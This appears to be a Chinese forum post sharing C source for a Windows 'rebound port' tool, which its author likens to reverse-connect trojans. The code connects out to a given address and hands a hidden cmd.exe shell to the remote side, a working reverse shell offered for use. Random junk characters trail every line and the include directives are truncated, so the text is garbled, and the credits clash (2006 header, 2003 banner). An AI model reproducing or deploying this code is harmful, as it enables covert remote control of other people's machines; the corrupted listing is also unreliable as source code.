这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Dp?lgw
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/* ============================== ah#jvp
Rebound port in Windows NT u/J1Z>0
By wind,2006/7 tSVS ogGd
===============================*/ $,nidK!"
#include Ru$%gh>v
#include /'bX}H(dq
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#pragma comment(lib,"wsock32.lib") @={
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void OutputShell(); JcC2Zn6
SOCKET sClient; 7MhaLkB_6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :,.HJ[Vg&
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void main(int argc,char **argv) 3s#/d,+
{ :b,An'H
WSADATA stWsaData; m1RjD$fM
int nRet; =Nr?F'<
SOCKADDR_IN stSaiClient,stSaiServer; Q3[nS(#Z/=
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if(argc != 3) p & i+i
{ MSe>1L2=
printf("Useage:\n\rRebound DestIP DestPort\n"); AH^ud*3F
return; IB^vEY!`6_
} jM>;l6l
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WSAStartup(MAKEWORD(2,2),&stWsaData); EfX,0Nq T
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P9M%B2DQ6f
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stSaiClient.sin_family = AF_INET; hcR^?
stSaiClient.sin_port = htons(0); 5m?9O7Pg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q5*"t*L!N
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;b 'L2
{ 5YXMnYt9
printf("Bind Socket Failed!\n"); ,hCbx#h
return; )4n]n:FjN
} {]O.?Yru?
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stSaiServer.sin_family = AF_INET; R+9 hog
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k>:\4uI|<\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m>!aI?g
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UGP&&A#T-
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printf("Connect Error!"); ]G,BSttD
return; zRB LkrC
} a@!O}f*
OutputShell(); |wyua@2
} SfPtG
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void OutputShell() 5.lg*vh
{ )O>M~
char szBuff[1024]; Q!h+1fb
SECURITY_ATTRIBUTES stSecurityAttributes; y)3OQ24
OSVERSIONINFO stOsversionInfo; xo{z4W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +;
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STARTUPINFO stStartupInfo; SU(J
char *szShell; xN6}4JB
PROCESS_INFORMATION stProcessInformation; a@#<qf8g
unsigned long lBytesRead; +#6f)H(P]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /`7G 7pQ+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eH%i8a
stSecurityAttributes.lpSecurityDescriptor = 0; c&"1Z/tR
stSecurityAttributes.bInheritHandle = TRUE; 9} ]C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b2~5 LZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <@;bxSUx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }+F@A`Bm&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Trc#i<\
stStartupInfo.wShowWindow = SW_HIDE; 7Kti&T
stStartupInfo.hStdInput = hReadPipe; a)!R4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *]ME]2qP
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GetVersionEx(&stOsversionInfo); G_xql_QR
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switch(stOsversionInfo.dwPlatformId) #/)U0IR)
{ r<'B\.#tp>
case 1: 3vEwui-5
szShell = "command.com"; +xNq8yS
break; I<S*"[nV
default: u89Q2\z~"M
szShell = "cmd.exe"; H h%|}*f_,
break; 'i 8`LPQ
} pMkM@OH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |C7=$DgwY
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send(sClient,szMsg,77,0); cK'}+
while(1) QV _aM2
{ o>I,$=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \$,8aRT>#U
if(lBytesRead) ,?!MVN-
{ EH]qYF.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TZarI-A
send(sClient,szBuff,lBytesRead,0); +
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} 'fY29Xr^
else H
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{ ;Ehv1{;
lBytesRead=recv(sClient,szBuff,1024,0); >FL%H=]
if(lBytesRead<=0) break; Tlk!6A:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *+ +}ll6
} svMu85z
} 'Kd-A:K2g
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return; COA>y?
}